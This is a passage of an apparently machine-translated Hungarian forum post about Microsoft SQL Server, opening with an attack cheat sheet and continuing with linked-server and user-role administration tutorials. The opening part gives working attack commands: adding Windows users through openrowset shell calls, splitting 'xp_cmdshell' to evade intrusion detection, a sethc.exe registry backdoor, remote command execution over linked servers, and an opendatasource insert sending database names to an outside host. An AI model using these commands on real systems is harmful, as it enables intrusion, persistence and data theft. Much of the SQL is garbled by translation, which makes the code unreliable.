ICommandText::Execute returned 0x80040e14]。


5. Ha a hálózati engedély hibás, nincs prompt.

Az utolsó módja a jogosultság emelésének az, hogy feltöltöd a rendszer ias.mdb és cmd.exe jelenlegi webkönyvtárba, net.exe három fájlba.

Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe user passwd /add")')
          Sikeresen hozzáadni egy számítógépes felhasználót.






A cmdshell szétosztása megkerüli az IDS-t         
Declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
deklarálni

@a sysname set @a='XP'+'_cm'+'dshell' exec @a 'dir c:\'





Szerkesztés: Registry hijacking shift
Végrehajtó mester.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe on'; --



Lekérdezés a linkserverhez
kiválaszt

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers
kiválaszt

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers



Query linkserver2
select distinct hostname,db_name(dbid),net_address,loginame,program_name from

Mester... sysprocessesek



Lekérdezés a linkserverhez
és más bejelentkezett felhasználók
Válassz * from [192.168.1.1].master.dbo.syslogins



Query LinkServer
Minden adatbázis
select * from linkedSrvWeb.master.dbo.sysdatabases



Hosszabb tárolás végrehajtása a LinkServeren
Végrehajtó [IP].master.dbo.xp_cmdshell



Lekérdezés az összes táblát a linkserveren
Válassz * from [IP].master.dbo.sysobjects








Válassz * az openrowset

('sqloledb','server=IP; uid=user; pwd=password','select @@version')


select * from openquery([LINKSERVER

name],'select @@version')




select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




select * from openquery(GM_SERVER,'select * from sysobjects, ahol xtype = (''U'')')


Válassz *

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




select * from openquery(toatdeweb,'select

srvname a master.dbo.sysservers'-ből)


beillesztés az opendatasource-ba

('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select

Név a master.dbo.sysdatabases alapján
create database hack520 Create TABLE zhu(name nvarchar(256)

null); Create TABLE J8(id int NULL,name nvarchar(256) null);


Válassz * az OpenQuery-ből

(toatdeweb, 'Állítsd ki FMTTONLY-t az Exec master.dbo.xp_cmdshell ''Net User'')


Végrehajtó mester.. xp_dirtree

'c:\',1,1
Végezzen lekérdezési könyvtárat


exec links.master.. xp_cmdshell 'ipconfig'


select * from openquery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')



Kapcsold a mysql Select * * a Mem_DB-ből. UserDB.dbo.AdminList


VÉGREHAJTÓ MESTER.. XP_dirtree 'c:\',1,1




Vezetőség

master.dbo.xp_cmdshell 'dir'


Válassz count(*) a [jelöl] helyről
Kérdezd meg, mennyi adat van az aktuális táblában




select distinct hostname,db_name(dbid),net_address,loginame,program_name

A mestertől.. sysprocessesek






Válassz *-et a GameDB01-ből. Server01.dbo.cabal_character_table ahol név='

Disznó'





Amikor törlöd, azt írja: Az adatbázist használják, és nem törölhető.


Kattints a törölni kívánt adatbázisra, hogy megnyitod az Eseménynézőt.


Input:


Használat   

mester
Menj
Ezután írja be a következőket:
deklaráld @d varchar(8000)
@d= ' '
select @d=@d+ ' Kill   

'+cast(spid mint varchar)+char(13)
A mestertől.. sysprocesszek, ahol dbid=db_id('könyvtár neve')
exec(@d)
--
Először töröld a kódot az adatbázishoz csatlakozó folyamathoz












Az MSSQL az Oracle LinkServeren keresztül üzemelteti






1) Telepítse az Oracle a SQL_SERVER 2005-ös szerverre

9i kliens. Tegyük fel, hogy telepítsük a C:\ora92i\ könyvtárba. Ha a D: egy NTFS partíció, akkor az ORACLE telepített könyvtárat kell beállítani a használt könyvtárnak

Az előfizetőknek joguk van futtatni, hozzáadni vagy törölni.


2)
Konfiguráld a C:\ora92i\network\ADMIN\tnsnames.ora fájlt. (A következő piros szöveg egy konfiguráció példája)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADDRESS = (PROTOKOLL = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Futtasd a következő parancsot DOS módban, hogy megerősítsd, az ORACLE kliens helyesen van telepítve.


SQLPLUS felhasználó/password@ORCL


4)
Nyisd meg a Start - Vezérlőpanel - Szolgáltatásokat, és erősítsd meg, hogy elindult a Distributed Transaction Coordinator szolgáltatás.



5) Megnyitja az SQL SERVER Management Studio-t, Instance Name (ORCL) - Server Object (jobb kattintás) - Új kapcsolati szerver.


1.      


Link szerver: Írja meg a linkelt szerver nevét, például OracleTest


2.         
Szerver típus, válassz egy másik adatforrást


3. Hozzáférési felület:
Select Oracle Provider for OLE DB


4. Terméknév: Write Oracle


5. Adatforrás: Írd meg

A tnsnames.ora fájlban konfigurált szolgáltatásnév, például ORCL


6.         
Hozzáférési interfész string: userid=sys mint sysdba; password=password


7.         
A Biztonsági beállítások kiválasztása oldalán ezt a telepítési kontextust használd a kapcsolat létrehozásához:


a) Távoli bejelentkezés: felhasználó (más felhasználó, nem rendszerrendszer)


b)      

    Jelszó használata: jelszó


8. Állítsd be a "NT AUTHORITY\SYSTEM" jelszót a helyi bejelentkezésen, távoli felhasználói rendszerrendszeren, és állítsd be a jelszót


9.

         Biztos vagy benne


6) Az SQL írásának kétféleképpen van


a) T-SQL szintaxis használata:


           VÁLASSZ * FROM

OraTest.ERP.BAS_ITEM_CLASS


           Fontos megjegyezni, hogy amikor SQL utasításokat írsz be az SQL Query Analyzerbe, figyelj a kínai teljes szélességű és félszélességű váltásra

Óha!


b) Használj PLSQL szintaxist:
           SELECT * FROM openquery (OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) A második hozzáférési módszer körülbelül 50%-kal gyorsabb, mint az első; A második hozzáférési mód közvetlenül kapcsolódik

Az ORACLE összehasonlítható; Az első hozzáférési módszer váratlan hibákhoz vezethet, például:
           A tábla nem létezik, vagy a jelenlegi felhasználó

Nincs hozzáférés az asztalhoz, és így tovább.


           d) Ha a hozzáférhető oszlop precionitás nélküli adattípusokat használ, mindkettő

Ez az ORACLE hibája, amelyet nem lehet javítani, és csak speciális lekérdezési utasítások kezelésével lehet elkerülni:


     Az OLE DB szolgáltató, az 'OraOLEDB.Oracle' által szolgáltatott metaadatok az oszlopokhoz eltérnek. A metaadat-információk végrehajtáskor változnak.










MSSQL hozzátette

Töröld a felhasználót, és adj engedélyeket


Használd a könyvtár nevét   
Menj   
--Felhasználók hozzáadása   
Exec sp_addlogin 'teszt' – bejelentkezés hozzáadása   
vezetője

sp_grantdbaccess N'test' – így legitim felhasználóvá válik a jelenlegi adatbázis   
sp_addrolemember N'db_owner' vezetője,

N'test' – minden engedélyt megad a saját adatbázisához   
--Ez olyan felhasználókat hoz létre, akik csak a saját adatbázisukat és az adatbázisba tartozó információkat érhetik el

Nyilvános táblázat vendégfelhasználók számára   
Menj   
--Távolítsa el a tesztfelhasználót   
exec sp_revokedbaccess N'test' – Eltávolítsák az adatbázishoz való hozzáférést

Határ   
exec sp_droplogin N'test' – töröld a bejelentkezést   
Ha Enterprise Managerben hozod létre, használd:   
Enterprise Manager - Biztonság

Szex --Jobb kattintással Bejelentkezés--Új bejelentkezés   
Általános tételek   
--Írd be a felhasználónevet a névbe   

--A hitelesítési módszert az igényeid szerint választják ki (ha Windows hitelesítést használsz, először új felhasználót kell létrehoznod az operációs rendszer felhasználói közül)   

--Az alapértelmezett beállításokban válaszd ki azt az adatbázis nevet, amelyet az új felhasználó számára meg akarsz férni   
Szerver szerep elem   
Ne válassz semmit ebben   
adatbázis

Hozzáférési elem   
Nézd meg annak az adatbázisnak a nevét, amelyhez a létrehozott felhasználó hozzáférni szeretnél   
Az adatbázis szerepben engedélyezve jelöld a "public", "db_ownew" opciókat   
Persze, ez

A minta által létrehozott felhasználó ugyanaz, mint a fenti állítás által létrehozott felhasználó   



Az utolsó lépés a konkrét hozzáférési engedélyek beállítása adott felhasználók számára, amelyeket a következő minimális példa lehet megemlíteni:   

--Hozzáadj olyan felhasználókat, akik csak a megadott táblához léphetnek hozzá:   
Végrehajtó sp_addlogin 'felhasználónév', 'jelszó', 'alapértelmezett adatbázis név'   

--add fel az adatbázisba   
Executive sp_grantdbaccess 'felhasználónév'   

--Teljes táblajogosultságok hozzárendelése   
MEGAD A VÁLASZTÁST, BEÉPÍTÉST, FRISSÍTÉST, TÖRLÉST a 1-es táblázaton [felhasználónévnek]   
--Jogosultságok rendelése konkrét oszlopokhoz   
MEGAD SELECT , FRISSÍTÉS A table1(id,AA) CÍMRE [felhasználónév]   


Konkrét biztonsági beállításokhoz és elméleti ismeretekhez kérjük, tekintse meg az SQL Online Help oldalt  







Fix adatbázis szerepleírás   
  db_owner Teljes jogosultságokkal rendelkezel az adatbázisban.   

db_accessadmin Hozzáadhatsz vagy törölhetsz felhasználói azonosítókat.   

db_securityadmin Képes teljes jogosultságokat, objektumtulajdont, szerepeket és szereptagságokat kezelni.   

db_ddladmin MINDEN DDL-t kiadhat, de nem GRANT, VISSZAVONÁS vagy TAGADÁS nyilatkozatokat.   

db_backupoperator DBCC, CHECKPOINT és BACKUP utasításokat adhatnak ki.   

db_datareader Minden adatot kiválaszthatsz az adatbázis bármely felhasználói táblájából.   

db_datawriter Az adatbázis bármely felhasználói táblájában minden adatot megváltoztathatsz.   

db_denydatareader Nem választhatsz adatokat egyetlen felhasználói táblából sem az adatbázisban.   

db_denydatawriter Nem lehet megváltoztatni semmilyen adatot az adatbázis felhasználói táblájában.  





Válassz db_datareader, db_datawriter, db_accessadmin




5.
Miután az SQL Server példányt egyfelhasználós módban indították, a Windows adminisztrátori fiók a sqlcmd eszközt használhatja a Windows hitelesítési módban való csatlakozásra

SQL Server。 Használhatsz T-SQL parancsokat, például az "sp_addsrvrolemember"-t, hogy hozzáadj egy meglévő bejelentkezést a rendszergazdálkodó szerver szerepéhez

vagy hozz létre új bejelentkezési fiókot.
Egy példaállítás a következő:


EXECUTIVE sp_addsrvrolemember 'CONTOSO\Buck', 'rendszergazdálkodó';


MENJ


Adj hozzá egy rendszergazdai jogosultságot








(1) Szerverszerepek kezelése


Az SQL Serverben két fő tárolt eljárás létezik, amelyek SQL Server szerepkezelést valósítanak meg:


sp_addsrvrolemember

és sp_dropsrvrolemember


sp_addsrvrolemember
Hozzáadhatsz bejelentkezési fiókot egy szerver szerephez, hogy az is tagja legyen annak a szerverszerepnek. A szintaxis a következő:
sp_addsrvrolemember

bejelentkezés, szerep


sp_dropsrvrolemember
Törölhetsz bejelentkezési fiókot egy szerver szerepből, és amikor a tag eltávolítja a szerver szerepéből, már nem rendelkezik az a szerver szerepe

A jogosultságok beállítva. A szintaxis a következő:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'


Innen

@loginname a bejelentkezett felhasználó neve; @rolename szerver szerep.




(2) Adatbázis-szerepek kezelése


Az SQL Serverben az adatbázis-kezelés támogatott

Hat fő tároló eljárástípus létezik, és azok konkrét jelentései, valamint szintaxisa a következők:


sp_addrole: Új adatbázis szerep létrehozásához használták;
sp_addrole

Szerep, tulajdonos


sp_droprole: Egy adatbázis szerep eltávolítására használták a jelenlegi adatbázis szerepből;
sp_droprole szerep


sp_helprole:

A jelenlegi adatbázis összes adatbázis szerepéről szóló információt megjelenítik;
sp_helprole ['szerep']


sp_addrolemember: Adatbázisba küldésre használták

Adatbázis-felhasználókat adjunk hozzá egy szerephez, amelyek lehetnek felhasználó által definiált szabványos szerepek vagy fix adatbázis szerepek, de nem lehetnek azok

Alkalmazási szerepek.
sp_addrolemember szerep, security_account


sp_droprolemember: Egy bizonyos karakter törlésére használták

háztartás;
sp_droprolemember szerep, security_account


sp_helprolemember: Egy adatbázis szerep összes tagjának megjelenítésére szolgál


sp_helprolemember ['szerep']






MSSQL LINKSERVER query


----------------------------------------------------------------------------------
-- Szerző:

htl258(Tony)
-- Dátum: 2010-06-25 22:23:18
-- Verzió: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 2008. július 9., 14:43:34
-- Szerzői jog (c) 1988-2008 Microsoft Corporation
--

Fejlesztő kiadás Windows NT 5.1-en (Build 2600: Service Pack 2)
-- Blog : -- Tárgy:
SQL adatműveletek különböző szerveradatbázisok között
----------------------------------------------------------------------------------
--1.
Hozzon létre egy link szervert
--1.1 Hozzon létre egy link nevet
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' a távoli szerver neve

vagy IP-címet' --
Ha van egyedi példány neve, add hozzá a "\instance name"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Hozz létre bejelentkezést (vagy hozzon létre egy link szerver bejelentkezési térképet) (csak válassz egy irányt)
--1.2.1
Bejelentkezés Windows hitelesítéssel
EXECUTIVE sp_addlinkedsrvlogin 'LinkName'
--vagy EXECUTIVE sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
SQL hitelesítéssel jelentkezz be
EXECUTIVE sp_addlinkedsrvlogin 'LinkName','hamis', NULL,'Felhasználónév','Jelszó'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */
--2.
Link szerverrel kapcsolatos adatműveletek
--2.1 Lekérdezési példa
SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *

FORRÁS: TonyLink.Mydb.dbo.tb */
--
2.2 Import példa
SELECT * ENTER ENTER tábla név FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

FORRÁS: TonyLink.Mydb.dbo.tb */
--
2.3 Frissítési példa
FRISSÍTÉS: LinkName.Database Name.Schema Name.Tábla név SET field='value' WHERE mező='feltétel'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET személyek='g' HOL személyek='a' */
--
2.4 Példák törlése
TÖRÖLJ: LinkName.Database Name.Schema Name.Table Name WHERE mező name='feltétel'
/*例如:DELETE

TonyLink.Mydb.dbo.tb WHERE személyek='g' */
--3 sorkészlet funkcióval (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Módszer
-
3.1 OPENQUERY módszer (a létrehozott link szerver segítségére van szükség):
--
3.1.1 Lekérdezés példa
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Építészet neve. tábla név')
/*
Például: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Import-példák
--3.1.2.1 Importáld az összes oszlopot
INSERT OPENQUERY(LinkName, 'SELECT * FROM adatbázis név. Építészet neve. Táblázat neve

') SELECT * FROM LOCAL TABLE
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

FROM TB */
--3.1.2.2
Importáljuk a megadott oszlopokat
INSERT OPENQUERY(LinkName, 'SELECT * FROM adatbázis név. Építészet neve. tábla név') (oszlop, oszlop...)
SELECT oszlop,

Oszlop... A helyi táblázatból
/*
Például: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Személyek)
KIVÁLASZT

TÁVOLSÁG, SZINT, SZEMÉLYEK TB-ből
*/
--3.1.3
Frissítések példái
FRISSÍTÉS OPENQUERY(LinkName, 'SELECT * FROM adatbázis név. Építészet neve. tábla név') SET mező = 'érték' HOL szó

Szegmens = 'Állapot'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Persons='a' */
--3.1.4
Példák törlése
DELETE OPENQUERY(LinkName, 'SELECT * FROM adatbázis név. Építészet neve. table name') WHERE mező name='feltétel'
/*例

Például: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */
--3.2
OPENROWSET módszerrel (nem kell a létrehozott link nevet használnod.) Ha a csatlakoztatott példány neve nem az alapértelmezett beállítás, akkor sql szerver nevet vagy IP-címet kell beállítani.

"\instance name")
--3.2.1 Lekérdezés példa
--3.2.1.1
Windows hitelesítési módszer lekérdezés (az alábbi módszerek egyike elegendő)
VÁLASSZ * FROM OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy

IP-cím; Trusted_Connection=igen', adatbázis név. Építészet neve. Táblázat neve)
SELECT * FROM OPENROWSET('SQLNCLI',

'server=sql szerver név vagy IP-cím; Trusted_Connection=igen', adatbázis név. Építészet neve. Táblázat neve)
VÁLASSZ * FROM

OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy IP-cím; Trusted_Connection=yes','SELECT * FROM adatbázisból

Név. Építészet neve. tábla név')
SELECT * FROM OPENROWSET('SQLNCLI', 'server=sql szerver név vagy IP cím

Cím; Trusted_Connection=yes','SELECT * FROM adatbázis név. Építészet neve. tábla név')
/*
Például: SELECT * FROM OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

Vagy: VÁLASSZ * AZ OPENROWSET-BŐL

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

Vagy: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=igen','SELECT *

FROM Mydb.dbo.tb')

Vagy: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=igen','SELECT *

FROM Mydb.dbo.tb')
*/
--3.2.1.2 SQL hitelesítési módszer lekérdezés (Az alábbi módszerek egyike elegendő)
VÁLASSZ * AZ OPENROWSETBŐL

('SQLOLEDB', 'server=sql szerver név vagy IP-cím; uid=felhasználónév; pwd=jelszó', adatbázis név. Építészet neve. Táblázat neve)
VÁLASSZ * FROM

OPENROWSET('SQLNCLI', 'server=sql szerver név vagy IP-cím; uid=felhasználónév; pwd=jelszó', adatbázis név. Építészet neve. Táblázat neve)
VÁLASSZ * FROM OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy IP-cím; uid=felhasználónév; pwd=password','SELECT *

FROM adatbázis név. Építészet neve. tábla név')
VÁLASSZ * FROM OPENROWSET ('SQLNCLI', 'server=sql szerver név vagy IP-cím; uid=

Felhasználónév; pwd=password','SELECT * FROM adatbázis név. Építészet neve. tábla név')
SELECT * FROM OPENROWSET('SQLOLEDB', 'sql

szerver név'; 'felhasználónév'; 'jelszó', adatbázis név. Építészet neve. Táblázat neve)
VÁLASSZ * FROM OPENROWSET('SQLNCLI', 'SQL SZERVER NÉV

'; 'felhasználónév'; 'jelszó', adatbázis név. Építészet neve. Táblázat neve)
VÁLASSZ * FROM OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' felhasználó

név'; 'Jelszó', 'SELECT * FROM adatbázis név. Építészet neve. tábla név')
SELECT * FROM OPENROWSET('SQLNCLI', 'ql szerver

név'; 'felhasználónév'; 'Jelszó', 'SELECT * FROM adatbázis név. Építészet neve. tábla név')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Vagy: VÁLASSZ * AZ OPENROWSET-BŐL

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Vagy: VÁLASSZ * AZ OPENROWSET-BŐL

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

vagy: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM

Mydb.dbo.tb')

vagy: VÁLASSZ * AZ OPENROWSET-BŐL ('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

vagy: VÁLASSZ * AZ OPENROWSET-BŐL ('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

vagy: VÁLASSZ * AZ OPENROWSET-BŐL ('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb')

vagy: VÁLASSZ * AZ OPENROWSET-BŐL ('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb')
*/
--3.2.2 Import példa
--3.2.2.1 Importáld az összes oszlopot
INSERT OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy IP-cím

Cím; uid=felhasználónév; pwd=jelszó', adatbázis név. Építészet neve. Táblázat neve)
SELECT * FROM LOCAL TABLE
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
VÁLASSZ * A TB TÍPUSBÓL
*/
--3.2.2.2 Import

Oszlopok megadása
INSERT OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy IP-cím; uid=felhasználónév; pwd=jelszó', adatbázis név. Rack

Construct név. Tábla név) (oszlop, oszlop...)
SELECT oszlop, oszlop... A helyi táblázatból
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(TARTOMÁNY, SZINT, Személyek)
KIVÁLASZT

TÁVOLSÁG, SZINT, SZEMÉLYEK TB-ből
*/
--Megjegyzés: További alternatív módszerekért lásd a .2.1 lekérdezési példát, csak cseréld le az OPENROWSET függvényt

A tartalom elegendő.
--3.2.3 Frissítési példa
FRISSÍTÉS OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy IP-cím; uid=felhasználónév

;p wd=password', adatbázis név. Építészet neve. Táblázat neve)
SET mező = 'érték'
WHERE mező = 'feltétel'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Személyek='g'
HOL Személyek='a'
*/
--Megjegyzés: További alternatív módszerekért lásd a .2.1 lekérdezési példát, egyszerűen cseréld le a tartalmat az OPENROWSET-ben.
--3.2.4 Töröld a jelzést

Példa
DELETE OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy IP-cím; uid=felhasználónév; pwd=jelszó', adatbázis név. Séma neve

.tábla név)
WHERE mező név='feltétel'
/*
Például: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
AHOL

Személyek='g'
*/
--Megjegyzés:
További alternatív módszerekért lásd a .2.1 lekérdezés példáját, egyszerűen cseréld le a tartalmat az OPENROWSET-ben.
--3.3 OPENDATASOURCE módszer

(Nem kell használni a létrehozott link nevet.) Ha a kapcsolat példányneve nem alapértelmezett érték, akkor \instance name-t kell hozzáadni a SQL szerver neve vagy IP-címe után

")
--3.3.1
Lekérdezési példa
--3.3.1.1 Windows hitelesítési módszer lekérdezés (Az alábbi módszerek egyike elegendő)
SELECT * FROM OPENDATASOURCE('SQLOLEDB',

'server=sql szerver név vagy IP-cím; Trusted_Connection=igen'). Adatbázis név. Építészet neve. Táblázat neve
VÁLASSZ * FROM

OPENDATASOURCE('SQLNCLI', 'server=sql szerver név vagy IP-cím; Trusted_Connection=igen'). Adatbázis név. Építészet neve.

Táblázat neve
/*
Például: SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=igen'). Mydb.dbo.tb

Vagy: SELECT * FROM OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=igen'). Mydb.dbo.tb
*/
--3.3.1.2
SQL hitelesítési módszer lekérdezés (az alábbi módszerek egyike elegendő)
VÁLASSZ * FROM OPENDATASOURCE('SQLOLEDB', 'server=sql szerver név vagy

IP-cím; uid=felhasználónév; pwd=jelszó').
Adatbázis név. Építészet neve. Táblázat neve
VÁLASSZ * A OPENDATASOURCE('SQLNCLI', 'server=sql szerver neve vagy IP-cím; uid=user

Név; pwd=jelszó').
Adatbázis név. Építészet neve. Táblázat neve
SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=sql szerver név vagy IP-cím

Cím; uid=felhasználónév; pwd=jelszó').
Adatbázis név. Építészet neve. Táblázat neve
VÁLASSZ * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=sql szerver név vagy IP-cím

Cím; uid=felhasználónév; pwd=jelszó').
Adatbázis név. Építészet neve. Táblázat neve
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Vagy: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Vagy: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data

forrás=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Vagy: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data

source=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Importálj minden oszlopot
INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql szerver neve vagy IP-cím; uid=felhasználónév; pwd=jelszó').

A könyvtár neve szerint. Építészet neve. Táblázat neve
SELECT * FROM LOCAL TABLE
/*
Például: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
KIVÁLASZT

* A TB-től
*/
--3.3.2.2
Importáljuk a megadott oszlopokat
INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql szerver neve vagy IP-cím; uid=felhasználónév; pwd=jelszó').

A könyvtár neve szerint. Építészet neve. Tábla neve (oszlop, oszlop...)
SELECT oszlop, oszlop... A helyi táblázatból
/*
Például: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(TÁVOLSÁG, SZINT, Személyek)
VÁLASSZ TARTOMÁNYT, SZINTET, SZEMÉLYEKET A TUBERKULOOSIÓBÓL
*/
--Megjegyzés:
További alternatív módszerekért lásd a .3.1-es lekérdezési példát, csak cseréld le a tartalmat a sorhalmaz függvényben (OPENDATASOURCE).
--3.3.3 Frissítési példa
FRISSÍTÉS OPENDATASOURCE('SQLOLEDB', 'server=sql szerver név vagy IP-cím; uid=felhasználónév; pwd=jelszó').
Adatbázis név. Építészet neve. Táblázat neve
SET mező = 'érték'
WHERE mező = 'feltétel'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Személyek='g'
HOL Személyek='a'
*/
--Megjegyzés:
További alternatív módszerekért lásd a .3.1-es lekérdezési példát, csak cseréld le a tartalmat a sorhalmaz függvényben (OPENDATASOURCE).
--3.3.4 Törlés példája
TÖRÖLD OPENDATASOURCE('SQLOLEDB', 'server=sql szerver neve vagy IP-cím; uid=felhasználónév; pwd=jelszó').
Adatbázis név. Építészet neve. Táblázat neve
WHERE mező név='feltétel'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
HOL személyek='g'
*/
- Megjegyzés: További alternatívák

Lásd a .3.1 lekérdezés példát, egyszerűen cseréld le a tartalmat a sorhalmaz függvényben (OPENDATASOURCE).
--
Töröld a linked server módszert
--Ha a jövőben már nem használod a linkinformációt, törölheted a linkinformációt
--4.1
Bejelentkezési adatok törlése (vagy a linkelt szerver bejelentkezési névtérkép törlése)
EXECUTIVE sp_droplinkedsrvlogin 'LinkName', NULL
/*
Például: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Töröld a kapcsolt szerver nevét
EXEC sp_dropserver 'LinkName', 'droplogins' – ha droploginokat meg van jelölve,
A bejelentkezési térképet törölni kell a csatolt szerver törlése előtt
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Csatolva


Hogyan lehet megszerezni a szolgáltató nevét (EXECUTIVE master). xp_enum_oledb_providers)
SELECT CAST([Szolgáltató Név] AS

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
FROM

OPENROWSET(
'SQLOLEDB',
'Szerver=.; Trusted_Connection=igen',
'INDÍTSD BE FMTONLYT;
VEZETŐSÉG

Mester... xp_enum_oledb_providers'
)




Előző:UCloud sebezhetőségkezelési folyamata és jutalmazási részletei
Következő:Ma hazamehhetek vonattal, és több mint fél éve nem voltam otthon
Közzétéve 2017. 09. 27. 17:43:11 |
Nagyon részletes, köszönöm
 Háziúr| Közzétéve 2023. 06. 17. 11:12:11 |
SQL injekciós tesztelés SQLMAP infiltrációs eszközzel
https://www.itsvse.com/thread-10611-1-1.html
Lemondás:
A Code Farmer Network által közzétett összes szoftver, programozási anyag vagy cikk kizárólag tanulási és kutatási célokra szolgál; A fenti tartalmat nem szabad kereskedelmi vagy illegális célokra használni, különben a felhasználók viselik az összes következményet. Az oldalon található információk az internetről származnak, és a szerzői jogi vitáknak semmi köze ehhez az oldalhoz. A fenti tartalmat a letöltés után 24 órán belül teljesen törölni kell a számítógépéről. Ha tetszik a program, kérjük, támogassa a valódi szoftvert, vásároljon regisztrációt, és szerezzen jobb hiteles szolgáltatásokat. Ha bármilyen jogsértés történik, kérjük, vegye fel velünk a kapcsolatot e-mailben.

Mail To:help@itsvse.com